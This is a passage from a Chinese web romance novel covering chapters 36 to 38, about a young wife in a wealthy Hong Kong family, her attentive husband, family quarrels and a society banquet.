我怀疑你在胡说,但我没有证据jpg。 经过一早上的对峙,姜沉鱼在萧砚的注视中败下阵来,只能亲自喂他喝营养剂。 姜沉宁打长途电话过来,听到这消息都惊呆了,“姐,你用手喂那冰山喝的?” “不然呢?” 姜沉鱼想拒绝都没办法拒绝,实在是找不到借口。 姜沉宁:“……” 真是百闻不如一见,谁能想到冰山追爱,脸皮也这么厚哦。 南澳大利亚洲,二房小洋楼,二房在澳洲买的这栋小洋楼也有几十年的历史了,几经风霜,算起来比萧思琪的年纪还大些。 二房搬来前,找匠人把房子内外翻修了一番,不然都没法住人。 上午十点半,只有保姆杭嫂在家。 客厅的电话响了三五遍,保姆杭嫂不得不去接电话。 二层小洋楼今天收拾得格外干净,岳家明夫妻俩也没请保姆,家中有杭嫂,请什么保姆。 澳洲人工费出奇的贵,还动不动讲什么人权。 萧思琪大小姐脾气,懒得应付这些事多的大洋马,家中卫生都有老保姆杭嫂子打扫。 红木地板擦的纤尘不染,客厅里依旧是古色古香的家具,只不过西式的家具,头顶上的水晶灯也换成了罩竹编的古朴灯泡。 杭嫂接电话前在心里嘀咕,千万别是那没良心的打来的,不然有的闹腾。 谁想电话一接通,对面就传来一道尖锐刺耳带着怒气的女声。 “杭嫂!怎么才接电话?!我问你,我妈咪没在家,是不是去她干女儿那了?” “不说话就是默认了!” “好啊,我就知道,那个贱女人处心积虑就是贪图萧家的花园洋房跟财产!你们两个人蛇鼠一窝,联合起来骗我妈咪” 电话那头的萧思琪没等杭嫂说话,便满口污言秽语,暴跳如雷破口大骂。 第36章 第36章感谢订阅 萧思琪大骂,杭嫂几次想开口,都没机会。 她听了几分钟,电话那头的萧思琪不是说钟莉“吃斋念佛脑子昏头了”,就是骂萧老爷子,“心狠冷血不念父女情,把他们赶到鸟不拉屎的澳洲来。” 杭嫂实在是忍不住了,握着电话筒道,“小姐,您怎么能这么说话?老太爷跟二太太是您的亲人,您是晚辈” 杭嫂刚说了两句话,电话对面的萧思琪“嗤”了声,扯扯唇开口嘲讽,“杭嫂,以前呢,我看你年长,人前喊你一声姨,那就是嘴上的事儿。人啊,要知道分寸。我是萧家的女儿,怎么说话还用不着你来个外人管,这是我们萧家的私事,你就是个干活的保姆,说白了,在以前就是我家的下人老妈子,你一个外人老妈子,干活拿薪资就行了,管那这么多不累?” 萧思琪的一句一个“下人”、“老妈子”听在杭嫂耳朵里,只觉得一股寒气自心里弥漫开来,心凉失望的同时,握电话的手都抖了。 她怎么也没想,自己在萧家三十来年了,从萧思琪牙牙学语的时候,就照看着长大,她没有自己的孩子,这么些年,一直把萧思琪当成自己的孩子看待。 没想到这辛劳付出三十来年,换来了一句下人老妈子。 杭嫂不讲话,这让萧思琪得知火冒三丈,阴阳怪气把杭嫂说了一顿,心里舒坦了些,自顾自把电话挂了。 杭嫂听到电话里的“嘟嘟嘟”声,脸色苍白的放了电话。 二太太说的对,不要对有些不值得的人抱有希望,免得伤人伤己。 * 自从二房被被赶到澳洲,萧思琪过得就很憋屈。 她虽然是小老婆生的庶女,可也是萧家唯二的女儿,又算是长女,自小在萧老爷子面前 很得宠,锦衣玉食,养尊处优活了三十多年,喜欢的是纸醉金迷的繁华都市,对乡下一样,偏僻荒无人烟的澳洲格外厌恶。 二房在澳洲的产业不算多,两家餐厅跟一栋二层小洋楼,在悉尼、墨尔本也有几套房产,前段时间,岳家明买下了两处农场,打算雇佣当地农夫喂养牛羊,制造奶酪、牛奶,倒手卖到国外。 萧思琪对这些不感兴趣,她只想吃喝玩乐,参加舞会、跳跳舞当阔太太。 可惜二房产业不在她名下,萧思琪每个月只有岳家明给的生活费,平时打牌消费,不出半月就花光了,实在是不够用。 而且萧思琪以前穿戴都是高奢定制款,现在穿的是商场里的便宜货,实在是让人恼怒。 萧思琪回想起从前住山顶豪宅,有佣人伺候的日子,又想起二太钟莉刚认的干女儿白薇,她那颗心就给揉成好几瓣,说什么也要把属于自己的财产夺回来! * 港城十月的日光明媚温暖,老宅庭院的桂花香浓郁。 今年雨水多,庭院的花草枝繁叶茂,郭玉琴和善,让佣人们喜欢的可以摘些回去插花,只不要太过分便好。 佣人们自然不会过分,摘了几株开开心心回去插花。 阿秋也摘了一束木樨花插在水晶花瓶里,芳香四溢。 姜沉鱼嗅到清甜的花香,夸赞阿秋的同时,又开始嘴馋,想吃葡萄了。 这个对于萧家来说很简单。 不说城外的几个葡萄庄园,生叔就在花园里搭了个葡萄架,种了葡萄。 生叔种的葡萄汁水甘醇,果肉酸甜,格外可口,比家里采购的还好吃。 “少夫人想吃葡萄,我去找生叔!” 阿秋话音落下,风风火火下了楼。 生叔在花园剪藤蔓,阿秋跑出来,叽叽喳喳一通说。 “少夫人说生叔种的葡萄最甜,吩咐我摘几串回去。” 这个理由用得好,生叔得了夸赞,觉得少夫人认可他的劳动成果,心情大好,亲自葡萄藤下摘了数串晶莹剔透的葡萄。 “少夫人爱吃,随时都可以来摘。” 生叔在老宅面子大,他种的葡萄不是什么人都能吃的,就比如三太邓颖梅当年怎么缠磨萧老爷子,都没吃到生叔种的葡萄。 “行。” 阿秋捧着葡萄回来,洗干净放在果盘里,姜沉鱼坐在阳台小沙发上一边吃葡萄,一边欣赏海景。 阿秋吃了葡萄,在边上困的一晃悠一晃悠,还强打精神站在旁边,姜沉鱼被逗乐了,抬手推了推她。 “回去眯一会儿。” “傍晚再过来。” 阿秋揉了揉眼,听少夫人话回去睡了。 姜沉鱼吃完葡萄,厨房送来了甜藕百合山药粥,味道很甜,嘴里弥漫一股粉糯甘甜的藕香味。 她漱完口,也打哈欠回卧室睡下了。 姜沉鱼这一觉睡得很香,醒来时浑身懒洋洋的,就下床准备去花园溜达溜达,免得太过懒散,刚一动,只觉得小腹隐有坠疼,手脚也发凉…… 这熟悉的感觉…… 她生理期到了! 姜沉鱼立马去了趟卫生间,做好防护措施后,洗手钻进蚕丝把自己裹成蚕宝宝,她每次生理期都会痛经,严重的时候恶心呕吐,路都走不了。 阿秋睡了二十分钟,再回来见姜沉鱼软绵绵躺在床上,一问才知道是生理期到了,就撸袖子去厨房烧红糖姜茶。 “我两个妹妹生理期到了,喝了我煮的姜糖水就不痛了。” “少夫人您也喝一碗。” 姜沉鱼身娇体贵,最不喜姜的辣气,让她喝姜汤,还不如吃止痛药。 阿秋劝不过,去找家庭医生来,经验丰富的家庭医生也没什么好办法,开了些药,嘱咐多喝热牛奶、姜汤,便回去了。 姜沉鱼喝了热牛奶,暖着肚子沉沉睡去。 阿秋尽职尽责守在一旁,谁要是耽误少夫人休息,她能跳起来咬人。 当然有一个人除外。 当天家中吃晚餐,姜沉鱼没能下去,郭玉琴心疼儿媳,过来看了两次,又悄悄走了。 萧长章不方便来,故而给儿子打电话,让他早些回家。 萧砚接到电话,沉吟片刻,将当天几个不重要的会议推迟到明天。 等主持完集团会议,萧砚看了看腕表,指针已经接近九点钟。 一行人坐车回老宅,裴特助打开电梯,跟萧砚上了三楼。 保镖在楼下站岗,萧砚池一上楼,阿秋就迎了上来。 “二少爷,您回来了。” 萧砚颌首,解开手腕上的手表,“少夫人怎么样了?” “喝了热牛奶,还在休息。” “精神比上午好了许多。” 阿秋很尽心,一直守在旁边,连晚饭都没吃。 姜沉鱼让她吃饭,这个倔丫头就是不听。 “你们去忙自己的。” 萧砚看了看床上沉沉睡着的姜沉鱼,让阿秋他们下去休息。 裴特助也没吃饭,厨房准备了夜宵,他们就先下去吃饭了。 卧室内静悄悄的,姜沉鱼睡醒也不知道几点了,旁边有纸张翻动的声音,她扭头一看,萧砚正在台灯下处理文件。 蚕丝被摩擦声音窸窣,萧砚听见声音,迎着濡濡灯光看过来,一双黑眸缱绻温柔隐藏在夜色中。 “睡醒了?” “嗯。” “肚子饿不饿?” 姜沉鱼想说不饿,其实又有点饿,就给了个模棱两可的回答。 “还可以。” “那就是饿了。” 萧砚大手揉揉她脑袋,很亲昵的模样。 “我们萧太太想吃什么?” 姜沉鱼脸皮厚,加上身体不舒服,理所当然道,“要阳春面、小笼包还有甜豆浆。” “好。” 萧砚出去交代了几句,二十分钟后,厨房送来了热腾腾的饭食,同时还有一碗没有放姜的红糖水。 红糖水暖宫,喝一碗对痛经有好处。 姜沉鱼下床前,小腹还有些胀痛,萧砚柔声哄她喝一碗。 姜沉鱼不想喝,萧砚轻“哦”了声,嗓音低沉,目光一错不错地落在她身上,将手中的红糖水递过来,唇角漾起淡淡的笑意,“没放姜的红糖水,你自己喝还是我喂你?” 姜沉鱼:“……” 谢谢我自己喝jpg。 姜沉鱼痛经持续了一天半,第二天下午睡了一觉,就又活蹦乱跳,精神满满了。 姜沉宁打电话过来慰问,姐妹俩彼此互吹了一番彩虹屁,皆心满意足挂了电话。 如今已经是十月下旬了,港城的天气凉爽了许多,道路两旁的银杏树,叶子开始泛黄,落了满地的枯叶,画面格外唯美。 姜沉鱼架起画板,画了幅秋日落叶图。 郭玉琴见了,让王妈用相框裱起来,拿到慈善拍卖会上,居然拍卖出了八十万港币的天价。 买家是谁无人知晓。 姜沉鱼猜测,她本身的画自然不值八十万港币,拍下的买家怕是看在萧家的面子上,才肯出这么高的价格。 慈善拍卖会第二天,成朱莉开着跑车来老宅,邀请好姐妹去她家骑马。 上次姜沉鱼答应陪她骑马,那天下了雨,跑马场地面湿滑,成老爷子没松口,二人遗憾而归。 今天天气晴好,成刚老爷子有五姨太陪着去了古玩市场,成文滨在集团忙工作。 压在头顶的两座大山不在家,成朱莉立马来找姜沉鱼。 刚好家中厨房刚烤好面包,朱莉没吃早餐。 姜沉鱼请她吃过面包子再一起出发,朱莉欣然同意。 刚出炉蓬松暄软的面包,夹着纯白奶油,捧在手心小心翼翼咬一口,丝丝滑滑,厚重的口感,香浓又清甜。 单吃面包不过瘾,厨房送来了早上烙好的梅菜肉烧饼跟皮蛋瘦肉粥,梅菜就是梅干菜,江浙一带的小吃,厨房有位师傅老家就是浙江的,手艺真是没话说。 烧饼的酱汁醇香油亮,五花肉融合了梅菜的香味,夹在刚烙好的烧饼里,吸溜一口肥而不腻,软烂滑香。 姜沉鱼胃口小,吃了一个烧饼就饱了喝了半碗粥,成朱莉吃了块蛋糕,两个梅菜肉烧饼,用了这顿早餐,她突发奇想,也要招个浙江厨子回家。 姜沉鱼美 眸莹润,“你家不是五姨太管后宅的事情?” 成朱莉耸耸肩,丝毫不把五姨太放在眼里,“山中无老虎,猴子称大王,一只母猴子还想翻天,做什么青天白日梦。” 姜沉鱼哑然失笑,“这不是你的原话吧?” “还真不是,是我哥说的。” “其实我也有几句至理名言的。” “什么名言?” “就是你跟萧总在一起的腻歪甜蜜劲儿,你要不要听?” 姜沉鱼呵呵摆手,还是算了吧。 成朱莉也不扫兴,开车载着姜沉鱼跟阿秋去了成家大宅。 成家十几匹好马以前养在海岛别墅,前段时间海岛开发,成文滨把老爷子的爱马打包运回了港城。 成家大宅,后院建了跑马场,十几匹毛皮顺滑的骏马都有专人照顾。 姜沉鱼换了骑马装,成朱莉身姿稳稳跨在马背上,她沿着围墙,四周走了圈,回头看过来,“小鱼,你喜欢哪匹马,随便挑。” “不会骑马不要紧,我家有驯马师,一会儿手把手教你骑马。” 姜沉鱼轻轻拍了拍黑棕马的背部,纤白嫩白的手指摸了摸黑棕马的脑袋,“真是匹好马。” 她解开缰绳,双手抓住马鞍,左脚蹬住脚蹬,身姿飒爽跃上了马背,边上成朱莉拍手称赞,“小鱼,你还会骑马?” 阿秋在边上插嘴,“成小姐,我们少夫人不光会骑马,还是骑马高手呢。” 这话倒是不假,姜爷爷年轻的时候带兵打仗,有大半时间都在马上,有姜沉鱼自然是会骑马的。 姜沉鱼回家的当天下午,一向祥和宁静的港城,出了一个抓门抢劫孕妇的连环抢劫犯。 听说第一个受害者孕妇是中环电影院上班的售票员,这孕妇是个二十来岁的时髦女郎,家境小康,出来上班只是打发时间,平时就是在售票处卖卖电影票,收收钱,闲暇功夫一大把,不是嗑瓜子就是对着镜子涂口红,头发烫成洋气的小卷,出门不是洋装,就是皮质小凉鞋,出门打把伞戴金表,走在街上一看就是阔气人家,不差钱! 不差钱就不差钱吧,毕竟现在最流行的洋装,港城街头,西式建筑伫立在道路边,路上来来往往时髦女郎们,哪个不是这个打扮? 那怀孕的小媳妇自然也没想到,她就是一个下雨天下班晚了会儿,选了条回家近的偏僻小巷子走,身后就窜出个男人,伸过来一双黑手,捂住她的嘴,抢了手上的手提包,还死命把人往巷子角落里拖。 小孕妇也是个胆大心细的,狠狠一口咬在男人的胳膊上,趁着男人吃痛松手的功夫,抄起随身带的雨伞防身,先照着身强体壮的男人劈头盖脸抽了一顿,然后扭头拼了命的往大街上跑。 也幸亏小巷子附近有个公交站,人流量大,小媳妇从小在这一片长大,她边跑边呼救,后面的男人一瘸一拐紧追,公交站的司机师傅和几个乘客听见有人喊救命,赶紧跑过来这才救下了危机中的小孕妇,抢劫犯见形势不妙,转身就跑,三两下消失在雨幕中,后来又有五六名孕妇遇到抢劫,最后一位现在还在医院抢救,没有脱离危险。 这桩案子一出,立马港城港城引起了轩然大波。 港城警察署全体出动,冒着大雨,在港城里各地搜寻作案的可疑人员,忙的焦头烂额。 这桩新闻没有妨碍蔡家举办的晚宴,十月二十八号晚,萧家大房、三房的女眷们一前一后出现在蔡家晚宴上。 第37章 第37章感谢订阅 蔡家在港城豪门里不算第一梯队,今晚举办的晚宴缺却来了不少豪门家眷,大部分都是看在蔡太太的面子上来的。 蔡太太爱女满百日,远在英国议员祖父打了越洋电话来,并托港督的夫人送来早已备好了礼物。 蔡太太因此心情大好,连带着其先生蔡润华也面上有光。 蔡家别墅占地足有七八亩,抄手游廊,下接水榭,一座座院落俱都绿竹浓绿,屋檐飞翘,一水的江南水乡特色。 蔡太太虽然是混血儿,却很痴迷中国文化,她祖父是个中国通。 蔡太太从小耳眩目染,也跟着爱上了中式建筑,故而蔡家别墅不像其他豪门一样,俱都是西式洋楼。 蔡家别墅中西结合,布置得颇有格调。 花园里景色不错,各色花卉争相绽放,沿着院中的石子路走一段还有两间抱夏跟佣人住的后厢房,院中栽了两棵硕大的金桂树,树上新长了碧绿叶子,白日挡住了浓烈的阳光,落下斑驳晃荡的树影。 厅堂的门柱窗柩油光发亮,窗台上摆着几盆时兴花卉,花厅正中是一张雕刻精致的罗汉床和成套的黄花梨木家具,这是蔡家的小客厅,再往后便是宴客的大厅。 蔡家的宴客厅中等面积,数盏水晶吊灯灯光璀璨,在光滑如镜的大理石地面上落下星点碎芒,钢琴、小提琴优美悦耳的乐音在四周旖旎盘旋。 今日晚宴前来的大都是豪门女眷,像是萧家大房,萧长章清净修为,除非是至交好友或是家人的宴席,别家的是一概不参加的。 萧砚更是不用说,平日除了工作就是工作,性子冷漠寡淡,一出现周身压迫感极强,这尊大佛请都请不来。 大房来了郭玉琴、姜沉鱼婆媳,三房这边,萧老爷子轻易不出山,萧长昌、萧长堂兄弟俩因为家族生意起了龃龉,前几天在家大吵一架,差点动起手来,把三太邓颖梅气得够呛,这几天容貌憔悴,到现在还下不来床。 幸亏萧老爷子当晚在跑马场看马赛,不然这兄弟俩又要挨一顿打。 蔡家晚宴,萧长昌一家四口,除留学在外的长子,一家三口皆盛装出席,萧长堂借故没参加,二太太带着女儿萧佳敏来撑场子。 来参加晚宴的宾客无一不香鬓华服,男士西装革履,女士或旗袍或高定洋装,戴昂贵珠宝。 郭玉琴打扮低调,一身葡萄紫繁绣旗袍,佩戴一套红宝石镶钻珠宝,外面是浅棕色大衣,同色高跟鞋,既不过分张扬也能彰显家族地位,她跟几位位相熟的太太在一起,言笑晏宴,半点也看不出三年前失去长子长媳的悲痛欲绝。 姜沉鱼跟婆婆交际完,遇上姗姗来迟的的成朱莉,被她拉着去看花园里的花,里面有一排花,花朵秾艳,颜色饱满,很是鲜艳欲滴。 朱莉不认识它,问姜沉鱼:“这是什么花?” 姜沉鱼见多识广:“这个是蜀葵。” “蜀葵?” “此花长在南方蜀地,故而得名。” “这样啊,名字真好听。” 贵妇装扮的霍二夫人站在不远处,犹豫着要不要上前跟计郭玉琴打招呼。 这三年她口不择言得罪了堂妹,因此吃了不少苦头,心里很是后悔,想借着这次宴会跟堂妹红重修旧好。 可她高高在上惯了,实在是拉不下面子,稍稍犹豫的功夫,蔡太太已经笑着上前招待贵客了。 “萧太太、少夫人,成小姐,贵客盈门,真是不胜欢喜。” “蔡太太客气了。” 郭玉琴带着儿媳妇去应酬,顺便给姜沉鱼介绍几位好友。 其实郭玉琴也看见了霍家二夫人,直接当没看见。 郭玉琴对霍二夫人真没什么姐妹感情,根本没有霍夫人自认为的堂姐妹情深。 郭玉琴对她甚至有些嫌弃跟不待见,当年霍二夫人的亲娘只是郭家的一个小厨娘,这个小厨娘还有个青梅竹马的未婚夫,郭家本来给了小厨娘里两个月的月钱跟一只银镯子嫁妆,放她出去成家的。 没想到这个小厨娘是个心大的,一脚踢了未婚夫使了手段爬了郭家三老爷的床,生了霍二夫人。 郭家家家大业大,不缺儿子也不缺女儿,霍二夫人母女俩在家虽然不受重视,但该有的也都有。 后来郭家几房女儿各自婚嫁,郭玉琴嫁到萧家,霍二夫人也嫁给了霍家做了填房,彼此相安无事过了二十几年,这期间霍二夫人也不是没来过萧家老宅,每次来也是带着佣人略坐一会儿就走。 那时候郭玉琴就当她普通亲戚一样相处,约莫三年前霍二夫人突然领着她那个二十岁的继女霍欣上门,话里话外的意思是想把继女许到萧家当儿媳妇。 郭玉琴听了差点儿没一耳刮子扇过去,不说他们两家的关系,霍欣才二十岁正是上学的年纪,许个狗屁的人家,还敢打她儿子主 意,简直是痴人说梦。 郭玉琴冷着脸,话也没说就下了逐客令。 赵家那个继女还想在她面前卖乖,叫郭玉琴呵斥了两句,就红着眼眶,一副泫然欲泣的模样。 郭玉琴性子最是爽朗直率,最见不得那些扭扭捏捏,装腔作势的姑娘,霍欣这模样,她见了心里更是不喜。 霍二夫人见这门亲事不成,带着霍欣灰溜溜走了。 再后来萧家长子长媳在西班牙遭遇合伙车祸,郭玉琴病倒在床。 霍二夫人前来探望,说了风凉话惹怒了郭玉琴,被王妈几个赶出萧家老宅。 这几年逢年过节霍二夫人再也没有上过萧家的门,不是她不想来,是根本进不来。 霍二夫人也打电话来道歉,郭玉琴没心思搭理她,淡淡“嗯”了声,叫吴妈直接把电话挂了。 郭玉琴喝了口白兰地,婆媳俩齐刷刷扭头,直接无视走过来的霍二夫人。 “……” 蔡太太身材高挑,二十七八岁的年纪,面容秾丽,有一对很漂亮的蓝眼睛,肤色是欧美人的白,很有异域风情。 她手里牵着一个两三岁的小女孩,唇红齿白,穿了件短袖红色洋装,脑顶上扎了两个小揪揪,很是可爱。 姜沉鱼目光落在小女孩身上,莫名有种熟悉感觉,好像在哪里见过一般。 她正想着,小女孩突然松开萧太太的手扑过来,甜甜喊道,“漂亮姐姐!” 姜沉鱼看到小女孩柔嫩的脸蛋,也惊喜不已。 对了,这是那天在马路上奔跑,手拿风车的小女孩! 当时许妈就说这是蔡家的小姐,也就是蔡太太的继女。 “是你呀,小可爱以后可不要在马路上乱跑了。” 姜沉鱼喜爱人类幼崽,故而看到当日被救下的小女孩,也忍不住半蹲下身子,摸摸她的小揪揪。 “少夫人,你认识我家蓉蓉?” 蔡太太见继女跟姜沉鱼琴亲密互动,颇有些诧异。 姜沉鱼站起身,笑盈盈把当日事情简单讲诉一下,在场人都恍然大悟。 “原来是少夫人救了我家女儿!” 蔡太太激动又感激,过来握住姜沉鱼的手,顺带着一缕香风。 “亲爱的,你是我跟我先生的恩人!” 蔡太太迤逦面容如云霞,恨不能拥抱姜沉鱼,或者给她一个香吻才能表达内心的感激之情。 姜沉鱼看她这模样,似乎不像传说中的一般,拿的是恶毒继母剧本。 “蔡太,救人为乐自古是美谈,要是在场的长辈在场,都会出手相助的,您不用如此客气。” 姜沉鱼言语得体,在场的几位豪门阔太不禁露出微笑。 萧家的这位少夫人不仅生的貌美,也很知情识趣,当真是位妙人儿。 郭玉琴则面露骄傲,蔡太太闻言对姜沉鱼的好感又多了几分。 说实话,她刚开始对姜沉鱼没什么好印象,盖因姜沉鱼生得太过美艳,雪肤窈窕身材婀娜,芙蓉面樱桃唇,娇艳欲滴,耳活像东郭家画本子里描绘的狐狸精。 东郭家的狐狸精在西郭家就是上不得台面的情妇。 世人对姿容绝艳的女子总有几分轻视,蔡太太有些愧疚,姜沉鱼看破不点破,穿制服的侍者推着恰好推着装红葡萄酒的车子过来。 姜沉鱼拿了一杯跟蔡太太碰了下,透明水晶杯里,淡红葡萄酒微微荡漾,空气里弥漫在微醺的酒香。 “葡萄酒味道上佳。” 姜沉鱼点评道。 蔡太太笑答,“这是从法国葡萄酒庄园空运来的少夫人,亲爱的,你喜欢我送你一箱。” 蔡太太是想用送葡萄酒来感谢姜沉鱼,她虽然是蓉蓉兄妹的继母,却把兄妹俩当成自己的孩子,即便是有了自己的女儿也没减少对孩子们的疼爱。 姜沉鱼闻言而知雅意,欣然接受,笑眯眯道,“好,谢谢蔡太。” 蔡太太就给了她一个飞吻,“亲爱的,别跟我客气。” 蔡太太中文名随母姓叫虞青,英文名致敬过世的曾祖母,取名丽娜,她跟蔡润华结婚完全是因为爱情,不然凭借自身的条件,完全可以嫁给英伦本土贵族,不必离开家人跑到港城来。 姜沉鱼跟蔡太相谈甚欢,约定空闲时间一起喝咖啡。 蔡太太去招呼别的客人,姜沉鱼在港城又多了位可结交的朋友,莹润美眸里笑意嫣然,“这样子活像只顾盼神飞,勾搭靓仔的狐狸精。” 以上评价来自超级损友成朱莉。 姜沉鱼一向小肚鸡肠,讲究有仇当场抱,找了个没人的角落摁住成朱莉捶了一顿。 姜沉鱼跟朱莉吃吃喝喝,身着白色礼服的萧佳敏也奔过来,萧佳敏长相英气,甜美不足,往日打扮都很苦恼,这次二太太罗美娟高薪聘请了造型师,帮女儿装扮,萧佳敏化了妆,一头长发挽起,美颈上一对条钻石碧玺项链,显得整个人俏皮又清丽。 “二堂嫂,一个月没见你又变美了。” 萧佳敏小嘴贼甜。 姜沉鱼不禁弯唇,弹了一下她的额头,“小丫头这么会说话。” “谁教你的?” 萧佳敏笑嘻嘻靠过来,成朱莉不让她靠近,二人嬉笑起来。 姜沉鱼蛮喜欢这个堂妹的,捧着红葡萄酒杯在边上笑,不远处长条形乳白色餐桌上,摆满了咖啡红酒水果点心。 姜沉鱼走过去,挑了几块水果吃。 眼角余光扫到红色织花桌布后面一闪而过身影,眸光清凌凌一片。 花园一角,萧佳怡咬唇,看着萧佳敏轻松打进豪门千金的交际圈,还有蔡二少刚刚欣赏的目光,她垂在身侧的手倏地捏紧。 萧佳怡跟萧佳敏年岁相当,从小较劲长大,萧佳敏在她手下吃了不少亏。 萧佳怡自负聪颖智慧,一向瞧不起神经大条的萧佳敏。 哪里想到,萧佳敏扮猪吃了老虎,摇尾乞怜同姜沉鱼套近乎,又利用她打进了成家千金的朋友圈,一箭双雕,真是高明! 萧佳怡最不能难受忍受的是,萧佳敏搔首弄姿,抢了蔡二少的心! 蔡二少是蔡润华的弟弟,蔡润泽,蔡家男人皮相极好,蔡二少更是出类拔萃,一双醉人桃花眸能让人溺毙在里面。 蔡润泽今日穿了身白色西装,西装口袋里装点一朵玫瑰花——那是玫红色手绢叠成的,英俊倜傥。 晚宴上不少佳丽千金见到他都忍不住小鹿乱撞。 唯独姜沉鱼对他无感,眉眼多情的男人大都是负心汉,再说自家萧总裁的美色犹胜什么蔡二少,吃过细糠哪还看得上猪饲料? 萧佳怡不知道自己的心上人被嫌弃了,犹在那里酸涩发狠。 同一时间,身着华服的大太太看着萧长昌跟宴会上一个妖娆的女侍者眉来眼去,险些咬掉碎一口银牙。 “不安分的小贱人!居然追到蔡家晚宴上来了!” 大太太怒火中烧,恨不能扑过去撕烂那个女侍者,但是她不能轻举妄动,还要保持豪门阔太的体面。 “萧生,要不要再来一杯红葡萄酒?” “还是来杯白兰地?” 艾米眉梢带媚,穿着女侍者统一的西装短裙,黑色跟高跟鞋,领口的纽扣解开两颗,露出波涛汹涌的白皙,她倒酒的时候故作不经意地扭动性感的腰肢,把萧长昌迷得神魂颠倒,要不是脑子里还存有几分理智,怕是要现场表演…… “好,要杯白兰地。” 萧长昌接着拿酒的功夫,顺势搂了艾米柔软的臀部。 艾米给他一个媚眼,萧长昌哈哈大笑,前段时间因为法拉利跑车出事故,带来的阴霾一扫而光,他低声道,“今晚我去你那里。” 艾米满意一笑,看来百利道那套公寓跑不掉了。 “……” 晚上九点,蔡家夫妇 在小女儿举办的百日晚宴圆满结束。 众多宾客也先后告辞,小可爱蓉蓉因为漂亮姐姐要离开,抱着小胖手生闷气。 蔡太太抱着刚出生的小女儿,跟蔡润华还有大儿子一家三口蹲在旁边,柔声哄了半天,最后姜沉鱼跟蓉蓉拉了勾,约定以后改日来看她,小家伙才重展笑颜,放姜沉鱼离开。 “漂亮姐姐再见。” “蓉蓉再见。” 姜沉鱼冲着蓉蓉微笑挥手,转头亲热挽着婆婆的胳膊,“妈咪,咱们回家吧。” “好,回家。” 郭玉琴见儿媳妇招蓉蓉喜欢,目光慈爱,“小鱼很喜欢孩子?” 姜沉鱼理所当然点头,“喜欢。” 其实她只喜欢乖巧可爱,生得又漂亮的宝宝。 郭玉琴笑容灿烂,“喜欢就好,妈上了年纪,不跟你们年轻人坐一起,王妈我们坐后面那辆宾利车回去。” “好,太太。” 王妈跟阿秋守在外面,王妈拿着件紫色皮草外套,小跑着过来给郭玉琴披上。 阿秋站在路灯下面,踌躇着挪步,一副想过来又不敢动的模样。 港城十月下旬天色渐冷,霓虹灯光照亮黑色的地面和路段,道路两旁的梧桐树树叶影子落在地上。 姜沉鱼一袭银色流苏长裙,天鹅颈颀长瓷白,勾勒出婀娜身姿,漂亮的是漂亮,就是有些美丽冷人。 姜沉鱼刚想叫阿秋过来,一道高大俊挺的身影出现在她眼前,她抬眸就看到萧砚那张棱角分明俊美异常的脸,男人穿着丝质白色衬衫,姿态散漫矜贵,用手中的定制西装外套把她裹住,打开车门温声道,“外面冷,上车。” 姜沉鱼愣了下,发问,“你怎么来这了?” “今天晚上集团不是有会议吗?” “会议不开了吗?” 萧砚大手揽住姜沉鱼的细腰,眉梢微抬,隐约戴着几分笑意,“会议刚刚结束了,想念妻子的先生来接太太回家,不可以吗?” 这话说得着实暧昧,姜沉鱼脸蛋发热,听着耳边某人的笑声,立马钻进车里不说话了。 姜沉鱼在晚宴上应酬说话,喝了几杯红葡萄酒,觉得嗓子有些不舒服,想着回家喝一碗甜汤就休息。 萧砚池就跟她肚子里的蛔虫一样,她想什么都知道的一清二楚。 姜沉鱼回了卧房,阿秋连忙去放洗澡水,等她泡完澡,浑身轻松从浴室出来,一张小脸艳若桃李,不远处的饭桌上摆着一碗金桔银耳玫瑰甜汤。 阿秋站在桌旁笑,“这是二少爷吩咐厨房特意为少夫人煮的。” “少夫人快尝尝吧,别浪费了二少爷一片心意。” 姜沉鱼坐下来,拿起勺子舀起一勺炖烂的银耳放到嘴里,甜滋滋地,含糊“唔”了声,随口问道,“他人呢?” “二少爷啊,在隔壁书房忙工作,那个裴特助也在。” “二少爷交代,少夫人累了就早些休息,不用等他。” 姜沉鱼不置可否,她跟阿秋聊天,说起晚宴上的趣事,笑声不断。 萧砚在书房听见笑声,放下手里的文件,眼里柔情顿现,随后目光落在不远处的夜空,不知道想了些什么,眼眸微眯。 姜沉鱼今天真是累极了,喝完甜汤,洗漱完倒头便睡。 姜沉鱼拉上窗帘在床上睡的香甜,一睡就睡到十一点多,萧砚洗了澡换了件丝质白衬衫,脚步沉稳走进卧房。 他一进房间,姜沉鱼没了睡意就醒了,萧砚好似没看见,慢条斯理把衬衫纽扣从最顶上一颗扣到了最底下,露出衬衣里的腰身跟若隐若现的人鱼线。 窝在被窝里的姜沉鱼舔了舔嘴,直感叹秀色可餐。 她在被子里发出动静,萧砚听见了,轻笑了声,上床掀开被子把人抱起来,下巴贴在她脸庞,眉眼温和道:“醒了怎么不出声?” 姜沉鱼挣扎,“你抱我干什么?” 萧砚轻笑:“想抱就抱了,哪有这么多为什么?” 姜沉鱼:“……” 她没有这厮脸皮厚,干脆放弃挣扎,“我要睡了,明天五点还要起来看日出。” “好。” 第38章 第38章感谢订阅 姜沉鱼心心念念要看日出,结果翌日凌晨四点钟,外面突然下起了雨,淅淅沥沥敲打在老宅的喷泉中水花四溅。 夜阑人静,秋日的雨花驱散了院中的桂花馥郁浓香,不知潜入何处。 清晨五点钟,萧家老宅寂静无声。 昨晚信誓旦旦要看日出的姜沉鱼呼吸细绵,一看就睡得很香,阿秋悄悄摸摸看了几次,又悄悄离开了。 六点半,萧砚从二楼书房回来,姜沉鱼还蜷缩在被窝中睡得香甜。 厨房的佣人已经在开始忙碌,准备早餐。 阿秋乘电梯上楼,没想到会碰上二少爷爷替少夫人掖被角,一向冷沉的眉眼多了几分温柔缱绻。 “有事?” 萧砚站起身,黑眸淡淡扫过来,阿秋站在原地不敢抬头。 “二少爷,厨房的早餐好了,王妈吩咐我来看看少夫人,要是少夫人起床了,就可以用早饭了。” “现在时间还早,七点半摆桌也不晚。” 萧砚抬眸睨了眼窗外的雨幕,又添了句:“今天早餐备在小餐厅。” 萧家老宅各房都有独立的餐厅,新房这边小餐厅在三楼,平时萧砚池不在家,姜沉鱼陪着公公婆婆吃饭,小餐厅大半时间都空着。 “是。” 阿秋有些诧异,却没表现出来,小餐厅日日都有佣人打扫,干净整洁,只是太空旷了些。 萧家的小餐厅比阿秋一家七口住的公屋都大。 “下去吧。” 萧砚淡声,阿秋松了口气,麻溜下了楼,想七点二十再上楼叫少夫人好了,今天下雨,少夫人也能正大光明赖个床。 惫懒犯娇的姜沉鱼酣睡到七点半才堪堪起床。 等她洗漱完,原本定在七点半的早餐已经推迟到八点。 